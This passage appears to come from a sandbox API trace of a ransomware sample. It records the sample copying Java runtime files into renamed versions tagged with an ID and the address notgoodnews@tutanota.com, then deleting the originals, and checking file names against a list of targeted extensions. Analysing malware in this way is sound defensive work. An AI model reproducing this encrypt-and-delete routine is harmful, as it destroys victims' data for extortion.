lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0xa0, lpOverlapped=0x0) returned 1 [0159.269] ReadFile (in: hFile=0x434, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.269] WriteFile (in: hFile=0x43c, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x104, lpOverlapped=0x0) returned 1 [0159.269] SetEndOfFile (hFile=0x43c) returned 1 [0159.269] CloseHandle (hObject=0x43c) returned 1 [0159.269] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.269] SetEndOfFile (hFile=0x434) returned 1 [0159.272] CloseHandle (hObject=0x434) returned 1 [0159.273] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0159.273] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties")) returned 1 [0159.274] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0159.274] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0159.274] lstrlenW (lpString=".doc") returned 4 [0159.274] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0159.274] lstrlenW (lpString=".docx") returned 5 [0159.274] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0159.274] lstrlenW (lpString=".pdf") returned 4 [0159.274] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0159.274] lstrlenW (lpString=".xls") returned 4 [0159.274] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0159.274] lstrlenW (lpString=".xlsx") returned 5 [0159.274] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0159.274] lstrlenW (lpString=".ppt") returned 4 [0159.274] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0159.274] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0159.274] lstrlenW (lpString=".zip") returned 4 [0159.274] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0159.274] lstrlenW (lpString=".rar") returned 4 [0159.274] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0159.274] lstrlenW (lpString=".bz2") returned 4 [0159.274] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0159.274] lstrlenW (lpString=".7z") returned 3 [0159.274] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0159.274] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0159.274] lstrlenW (lpString=".dbf") returned 4 [0159.274] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0159.274] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0159.274] lstrlenW (lpString=".1cd") returned 4 [0159.274] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0159.274] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0159.274] lstrlenW (lpString=".jpg") returned 4 [0159.274] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0159.274] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0159.274] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0159.274] lstrlenW (lpString=".doc") returned 4 [0159.274] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0159.275] lstrlenW (lpString=".docx") returned 5 [0159.275] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0159.275] lstrlenW (lpString=".pdf") returned 4 [0159.275] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0159.275] lstrlenW (lpString=".xls") returned 4 [0159.275] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0159.275] lstrlenW (lpString=".xlsx") returned 5 [0159.275] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0159.275] lstrlenW (lpString=".ppt") returned 4 [0159.275] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0159.275] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0159.275] lstrlenW (lpString=".zip") returned 4 [0159.275] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0159.275] lstrlenW (lpString=".rar") returned 4 [0159.275] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0159.275] lstrlenW (lpString=".bz2") returned 4 [0159.275] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0159.275] lstrlenW (lpString=".7z") returned 3 [0159.275] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0159.275] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0159.275] lstrlenW (lpString=".dbf") returned 4 [0159.275] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0159.275] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0159.275] lstrlenW (lpString=".1cd") returned 4 [0159.275] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0159.275] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0159.275] lstrlenW (lpString=".jpg") returned 4 [0159.275] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0159.276] lstrcmpiW (lpString1=".cfg", lpString2=".NEWS") returned -1 [0159.276] lstrlenW (lpString="jvm.cfg") returned 7 [0159.276] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0159.276] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=634) returned 1 [0159.276] CloseHandle (hObject=0x434) returned 1 [0159.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg")) returned 0x20 [0159.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0159.277] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0159.277] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.277] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.277] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0159.395] GetLastError () returned 0x0 [0159.395] ReadFile (in: hFile=0x434, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x27a, lpOverlapped=0x0) returned 1 [0159.396] WriteFile (in: hFile=0x448, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x280, lpOverlapped=0x0) returned 1 [0159.397] ReadFile (in: hFile=0x434, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.398] WriteFile (in: hFile=0x448, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0xe2, lpOverlapped=0x0) returned 1 [0159.398] SetEndOfFile (hFile=0x448) returned 1 [0159.398] CloseHandle (hObject=0x448) returned 1 [0159.398] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.398] SetEndOfFile (hFile=0x434) returned 1 [0159.401] CloseHandle (hObject=0x434) returned 1 [0159.401] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0159.402] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg")) returned 1 [0159.402] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0159.402] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0159.402] lstrlenW (lpString=".doc") returned 4 [0159.402] lstrcmpiW (lpString1=".doc", lpString2=".cfg") returned 1 [0159.402] lstrlenW (lpString=".docx") returned 5 [0159.402] lstrcmpiW (lpString1=".docx", lpString2="m.cfg") returned -1 [0159.402] lstrlenW (lpString=".pdf") returned 4 [0159.402] lstrcmpiW (lpString1=".pdf", lpString2=".cfg") returned 1 [0159.402] lstrlenW (lpString=".xls") returned 4 [0159.402] lstrcmpiW (lpString1=".xls", lpString2=".cfg") returned 1 [0159.402] lstrlenW (lpString=".xlsx") returned 5 [0159.403] lstrcmpiW (lpString1=".xlsx", lpString2="m.cfg") returned -1 [0159.403] lstrlenW (lpString=".ppt") returned 4 [0159.403] lstrcmpiW (lpString1=".ppt", lpString2=".cfg") returned 1 [0159.403] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0159.403] lstrlenW (lpString=".zip") returned 4 [0159.403] lstrcmpiW (lpString1=".zip", lpString2=".cfg") returned 1 [0159.403] lstrlenW (lpString=".rar") returned 4 [0159.403] lstrcmpiW (lpString1=".rar", lpString2=".cfg") returned 1 [0159.403] lstrlenW (lpString=".bz2") returned 4 [0159.403] lstrcmpiW (lpString1=".bz2", lpString2=".cfg") returned -1 [0159.403] lstrlenW (lpString=".7z") returned 3 [0159.403] lstrcmpiW (lpString1=".7z", lpString2="cfg") returned -1 [0159.403] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0159.403] lstrlenW (lpString=".dbf") returned 4 [0159.403] lstrcmpiW (lpString1=".dbf", lpString2=".cfg") returned 1 [0159.403] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0159.403] lstrlenW (lpString=".1cd") returned 4 [0159.403] lstrcmpiW (lpString1=".1cd", lpString2=".cfg") returned -1 [0159.403] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0159.403] lstrlenW (lpString=".jpg") returned 4 [0159.403] lstrcmpiW (lpString1=".jpg", lpString2=".cfg") returned 1 [0159.403] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0159.403] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0159.403] lstrlenW (lpString=".doc") returned 4 [0159.403] lstrcmpiW (lpString1=".doc", lpString2=".cfg") returned 1 [0159.403] lstrlenW (lpString=".docx") returned 5 [0159.403] lstrcmpiW (lpString1=".docx", lpString2="m.cfg") returned -1 [0159.403] lstrlenW (lpString=".pdf") returned 4 [0159.403] lstrcmpiW (lpString1=".pdf", lpString2=".cfg") returned 1 [0159.403] lstrlenW (lpString=".xls") returned 4 [0159.403] lstrcmpiW (lpString1=".xls", lpString2=".cfg") returned 1 [0159.403] lstrlenW (lpString=".xlsx") returned 5 [0159.403] lstrcmpiW (lpString1=".xlsx", lpString2="m.cfg") returned -1 [0159.403] lstrlenW (lpString=".ppt") returned 4 [0159.403] lstrcmpiW (lpString1=".ppt", lpString2=".cfg") returned 1 [0159.404] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0159.404] lstrlenW (lpString=".zip") returned 4 [0159.404] lstrcmpiW (lpString1=".zip", lpString2=".cfg") returned 1 [0159.404] lstrlenW (lpString=".rar") returned 4 [0159.404] lstrcmpiW (lpString1=".rar", lpString2=".cfg") returned 1 [0159.404] lstrlenW (lpString=".bz2") returned 4 [0159.404] lstrcmpiW (lpString1=".bz2", lpString2=".cfg") returned -1 [0159.404] lstrlenW (lpString=".7z") returned 3 [0159.404] lstrcmpiW (lpString1=".7z", lpString2="cfg") returned -1 [0159.404] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0159.404] lstrlenW (lpString=".dbf") returned 4 [0159.404] lstrcmpiW (lpString1=".dbf", lpString2=".cfg") returned 1 [0159.404] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0159.404] lstrlenW (lpString=".1cd") returned 4 [0159.404] lstrcmpiW (lpString1=".1cd", lpString2=".cfg") returned -1 [0159.404] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg") returned 52 [0159.404] lstrlenW (lpString=".jpg") returned 4 [0159.404] lstrcmpiW (lpString1=".jpg", lpString2=".cfg") returned 1 [0159.404] lstrcmpiW (lpString1=".jar", lpString2=".NEWS") returned -1 [0159.404] lstrlenW (lpString="charsets.jar") returned 12 [0159.404] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0159.405] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=3036922) returned 1 [0159.405] CloseHandle (hObject=0x434) returned 1 [0159.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar")) returned 0x20 [0159.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0159.406] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0 [0159.406] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0159.406] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0159.406] lstrlenW (lpString=".doc") returned 4 [0159.406] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0159.406] lstrlenW (lpString=".docx") returned 5 [0159.406] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0159.406] lstrlenW (lpString=".pdf") returned 4 [0159.406] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0159.406] lstrlenW (lpString=".xls") returned 4 [0159.406] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0159.406] lstrlenW (lpString=".xlsx") returned 5 [0159.406] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0159.406] lstrlenW (lpString=".ppt") returned 4 [0159.406] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0159.406] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0159.406] lstrlenW (lpString=".zip") returned 4 [0159.406] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0159.406] lstrlenW (lpString=".rar") returned 4 [0159.406] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0159.406] lstrlenW (lpString=".bz2") returned 4 [0159.406] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0159.406] lstrlenW (lpString=".7z") returned 3 [0159.406] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0159.407] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0159.407] lstrlenW (lpString=".dbf") returned 4 [0159.407] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0159.407] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0159.407] lstrlenW (lpString=".1cd") returned 4 [0159.407] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0159.407] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0159.407] lstrlenW (lpString=".jpg") returned 4 [0159.407] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0159.407] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0159.407] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0159.407] lstrlenW (lpString=".doc") returned 4 [0159.407] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0159.407] lstrlenW (lpString=".docx") returned 5 [0159.407] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0159.407] lstrlenW (lpString=".pdf") returned 4 [0159.407] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0159.407] lstrlenW (lpString=".xls") returned 4 [0159.407] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0159.407] lstrlenW (lpString=".xlsx") returned 5 [0159.407] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0159.407] lstrlenW (lpString=".ppt") returned 4 [0159.407] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0159.407] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0159.407] lstrlenW (lpString=".zip") returned 4 [0159.407] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0159.407] lstrlenW (lpString=".rar") returned 4 [0159.407] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0159.407] lstrlenW (lpString=".bz2") returned 4 [0159.407] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0159.407] lstrlenW (lpString=".7z") returned 3 [0159.407] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0159.407] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0159.407] lstrlenW (lpString=".dbf") returned 4 [0159.407] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0159.408] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0159.408] lstrlenW (lpString=".1cd") returned 4 [0159.408] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0159.408] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar") returned 51 [0159.408] lstrlenW (lpString=".jpg") returned 4 [0159.408] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0159.409] lstrcmpiW (lpString1=".0_144\\lib\\classlist", lpString2=".NEWS") returned -1 [0159.409] lstrlenW (lpString="classlist") returned 9 [0159.409] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0159.410] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=84355) returned 1 [0159.410] CloseHandle (hObject=0x434) returned 1 [0159.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist")) returned 0x20 [0159.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0159.410] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0159.410] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.410] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.410] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0159.416] GetLastError () returned 0x0 [0159.416] ReadFile (in: hFile=0x434, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x14983, lpOverlapped=0x0) returned 1 [0159.420] WriteFile (in: hFile=0x448, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x14990, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x14990, lpOverlapped=0x0) returned 1 [0159.422] ReadFile (in: hFile=0x434, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.423] WriteFile (in: hFile=0x448, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0xe6, lpOverlapped=0x0) returned 1 [0159.423] SetEndOfFile (hFile=0x448) returned 1 [0159.423] CloseHandle (hObject=0x448) returned 1 [0159.423] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.423] SetEndOfFile (hFile=0x434) returned 1 [0159.427] CloseHandle (hObject=0x434) returned 1 [0159.427] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0159.427] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist")) returned 1 [0159.428] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0159.428] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0159.428] lstrlenW (lpString=".doc") returned 4 [0159.428] lstrcmpiW (lpString1=".doc", lpString2="list") returned -1 [0159.428] lstrlenW (lpString=".docx") returned 5 [0159.428] lstrcmpiW (lpString1=".docx", lpString2="slist") returned -1 [0159.428] lstrlenW (lpString=".pdf") returned 4 [0159.428] lstrcmpiW (lpString1=".pdf", lpString2="list") returned -1 [0159.428] lstrlenW (lpString=".xls") returned 4 [0159.428] lstrcmpiW (lpString1=".xls", lpString2="list") returned -1 [0159.428] lstrlenW (lpString=".xlsx") returned 5 [0159.428] lstrcmpiW (lpString1=".xlsx", lpString2="slist") returned -1 [0159.428] lstrlenW (lpString=".ppt") returned 4 [0159.428] lstrcmpiW (lpString1=".ppt", lpString2="list") returned -1 [0159.428] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0159.428] lstrlenW (lpString=".zip") returned 4 [0159.428] lstrcmpiW (lpString1=".zip", lpString2="list") returned -1 [0159.428] lstrlenW (lpString=".rar") returned 4 [0159.428] lstrcmpiW (lpString1=".rar", lpString2="list") returned -1 [0159.428] lstrlenW (lpString=".bz2") returned 4 [0159.428] lstrcmpiW (lpString1=".bz2", lpString2="list") returned -1 [0159.428] lstrlenW (lpString=".7z") returned 3 [0159.428] lstrcmpiW (lpString1=".7z", lpString2="ist") returned -1 [0159.428] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0159.428] lstrlenW (lpString=".dbf") returned 4 [0159.428] lstrcmpiW (lpString1=".dbf", lpString2="list") returned -1 [0159.428] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0159.428] lstrlenW (lpString=".1cd") returned 4 [0159.428] lstrcmpiW (lpString1=".1cd", lpString2="list") returned -1 [0159.428] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0159.428] lstrlenW (lpString=".jpg") returned 4 [0159.428] lstrcmpiW (lpString1=".jpg", lpString2="list") returned -1 [0159.428] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0159.429] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48 [0159.429] lstrlenW (lpString=".doc") returned 4 [0159.429] lstrcmpiW (lpString1=".doc", lpString2="list") returned -1 [0159.429] lstrlenW (lpString=".docx") returned 5 [0159.429] lstrcmpiW (lpString1=".docx", lpString2="slist") returned -1 [0159.429] lstrlenW (lpString=".pdf") returned 4 [0159.429] lstrcmpiW (lpString1=".pdf", lpString2="list") returned -1 [0159.429] lstrlenW (lpString=".xls") returned 4 [0159.429] lstrcmpiW (lpString1=".xls", lpString2="list") returned -1 [0159.429] lstrlenW 